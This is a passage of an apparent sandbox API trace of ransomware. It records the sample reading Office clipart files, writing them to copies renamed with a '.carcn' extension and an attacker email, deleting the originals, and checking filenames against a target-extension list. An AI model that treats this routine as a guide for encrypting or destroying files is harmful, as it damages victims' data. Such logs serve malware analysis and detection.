nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xf92, lpOverlapped=0x0) returned 1 [0296.952] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xfa0, lpOverlapped=0x0) returned 1 [0296.954] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.954] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.954] SetEndOfFile (hFile=0x368) returned 1 [0296.954] CloseHandle (hObject=0x368) returned 1 [0296.954] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.955] SetEndOfFile (hFile=0x35c) returned 1 [0296.955] CloseHandle (hObject=0x35c) returned 1 [0296.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0296.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.956] lstrlenW (lpString=".doc") returned 4 [0296.957] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.957] lstrlenW (lpString=".docx") returned 5 [0296.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.957] lstrlenW (lpString=".pdf") returned 4 [0296.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.957] lstrlenW (lpString=".xls") returned 4 [0296.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.957] lstrlenW (lpString=".xlsx") returned 5 [0296.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.957] lstrlenW (lpString=".ppt") returned 4 [0296.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.957] lstrlenW (lpString=".zip") returned 4 [0296.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.957] lstrlenW (lpString=".rar") returned 4 [0296.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.957] lstrlenW (lpString=".bz2") returned 4 [0296.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.957] lstrlenW (lpString=".7z") returned 3 [0296.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.957] lstrlenW (lpString=".dbf") returned 4 [0296.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.957] lstrlenW (lpString=".1cd") returned 4 [0296.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.957] lstrlenW (lpString=".jpg") returned 4 [0296.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.958] lstrlenW (lpString=".doc") returned 4 [0296.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.958] lstrlenW (lpString=".docx") returned 5 [0296.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.958] lstrlenW (lpString=".pdf") returned 4 [0296.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.958] lstrlenW (lpString=".xls") returned 4 [0296.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.958] lstrlenW (lpString=".xlsx") returned 5 [0296.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.958] lstrlenW (lpString=".ppt") returned 4 [0296.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.958] lstrlenW (lpString=".zip") returned 4 [0296.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.958] lstrlenW (lpString=".rar") returned 4 [0296.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.958] lstrlenW (lpString=".bz2") returned 4 [0296.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.958] lstrlenW (lpString=".7z") returned 3 [0296.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.958] lstrlenW (lpString=".dbf") returned 4 [0296.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.959] lstrlenW (lpString=".1cd") returned 4 [0296.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68 [0296.959] lstrlenW (lpString=".jpg") returned 4 [0296.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.959] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.959] lstrlenW (lpString="BL00195_.WMF") returned 12 [0296.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.959] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=8070) returned 1 [0296.959] CloseHandle (hObject=0x35c) returned 1 [0296.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0296.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.960] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.960] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0296.961] GetLastError () returned 0x0 [0296.961] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1f86, lpOverlapped=0x0) returned 1 [0296.962] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1f90, lpOverlapped=0x0) returned 1 [0296.982] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.982] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.982] SetEndOfFile (hFile=0x368) returned 1 [0296.982] CloseHandle (hObject=0x368) returned 1 [0296.982] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.982] SetEndOfFile (hFile=0x35c) returned 1 [0296.984] CloseHandle (hObject=0x35c) returned 1 [0296.984] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0296.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.985] lstrlenW (lpString=".doc") returned 4 [0296.985] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.986] lstrlenW (lpString=".docx") returned 5 [0296.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.986] lstrlenW (lpString=".pdf") returned 4 [0296.986] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.986] lstrlenW (lpString=".xls") returned 4 [0296.986] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.986] lstrlenW (lpString=".xlsx") returned 5 [0296.986] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.986] lstrlenW (lpString=".ppt") returned 4 [0296.986] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.986] lstrlenW (lpString=".zip") returned 4 [0296.986] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.986] lstrlenW (lpString=".rar") returned 4 [0296.986] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.986] lstrlenW (lpString=".bz2") returned 4 [0296.986] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.986] lstrlenW (lpString=".7z") returned 3 [0296.986] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.986] lstrlenW (lpString=".dbf") returned 4 [0296.986] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.987] lstrlenW (lpString=".1cd") returned 4 [0296.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.987] lstrlenW (lpString=".jpg") returned 4 [0296.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.987] lstrlenW (lpString=".doc") returned 4 [0296.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString=".docx") returned 5 [0296.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.987] lstrlenW (lpString=".pdf") returned 4 [0296.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString=".xls") returned 4 [0296.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.987] lstrlenW (lpString=".xlsx") returned 5 [0296.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.987] lstrlenW (lpString=".ppt") returned 4 [0296.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.988] lstrlenW (lpString=".zip") returned 4 [0296.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.988] lstrlenW (lpString=".rar") returned 4 [0296.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.988] lstrlenW (lpString=".bz2") returned 4 [0296.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.988] lstrlenW (lpString=".7z") returned 3 [0296.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.988] lstrlenW (lpString=".dbf") returned 4 [0296.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.988] lstrlenW (lpString=".1cd") returned 4 [0296.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 68 [0296.988] lstrlenW (lpString=".jpg") returned 4 [0296.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.988] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.988] lstrlenW (lpString="BL00234_.WMF") returned 12 [0296.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.989] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=9304) returned 1 [0296.989] CloseHandle (hObject=0x35c) returned 1 [0296.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0296.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.990] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.990] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0296.990] GetLastError () returned 0x0 [0296.991] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2458, lpOverlapped=0x0) returned 1 [0296.993] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2460, lpOverlapped=0x0) returned 1 [0296.995] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.995] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.996] SetEndOfFile (hFile=0x368) returned 1 [0296.996] CloseHandle (hObject=0x368) returned 1 [0296.996] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.996] SetEndOfFile (hFile=0x35c) returned 1 [0296.998] CloseHandle (hObject=0x35c) returned 1 [0296.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0296.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0296.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.000] lstrlenW (lpString=".doc") returned 4 [0297.000] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.000] lstrlenW (lpString=".docx") returned 5 [0297.000] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.000] lstrlenW (lpString=".pdf") returned 4 [0297.000] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.000] lstrlenW (lpString=".xls") returned 4 [0297.000] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.000] lstrlenW (lpString=".xlsx") returned 5 [0297.000] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.000] lstrlenW (lpString=".ppt") returned 4 [0297.000] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.000] lstrlenW (lpString=".zip") returned 4 [0297.000] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.000] lstrlenW (lpString=".rar") returned 4 [0297.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.507] lstrlenW (lpString=".bz2") returned 4 [0297.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.507] lstrlenW (lpString=".7z") returned 3 [0297.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.507] lstrlenW (lpString=".dbf") returned 4 [0297.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.507] lstrlenW (lpString=".1cd") returned 4 [0297.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.508] lstrlenW (lpString=".jpg") returned 4 [0297.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.508] lstrlenW (lpString=".doc") returned 4 [0297.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.508] lstrlenW (lpString=".docx") returned 5 [0297.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.508] lstrlenW (lpString=".pdf") returned 4 [0297.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.508] lstrlenW (lpString=".xls") returned 4 [0297.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.508] lstrlenW (lpString=".xlsx") returned 5 [0297.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.508] lstrlenW (lpString=".ppt") returned 4 [0297.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.508] lstrlenW (lpString=".zip") returned 4 [0297.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.508] lstrlenW (lpString=".rar") returned 4 [0297.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.508] lstrlenW (lpString=".bz2") returned 4 [0297.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.508] lstrlenW (lpString=".7z") returned 3 [0297.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.509] lstrlenW (lpString=".dbf") returned 4 [0297.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.509] lstrlenW (lpString=".1cd") returned 4 [0297.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0297.509] lstrlenW (lpString=".jpg") returned 4 [0297.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.509] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.509] lstrlenW (lpString="BL00274_.WMF") returned 12 [0297.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.510] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=4164) returned 1 [0297.510] CloseHandle (hObject=0x388) returned 1 [0297.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0297.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0297.510] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.510] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0297.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0297.569] GetLastError () returned 0x0 [0297.569] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1044, lpOverlapped=0x0) returned 1 [0297.571] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, 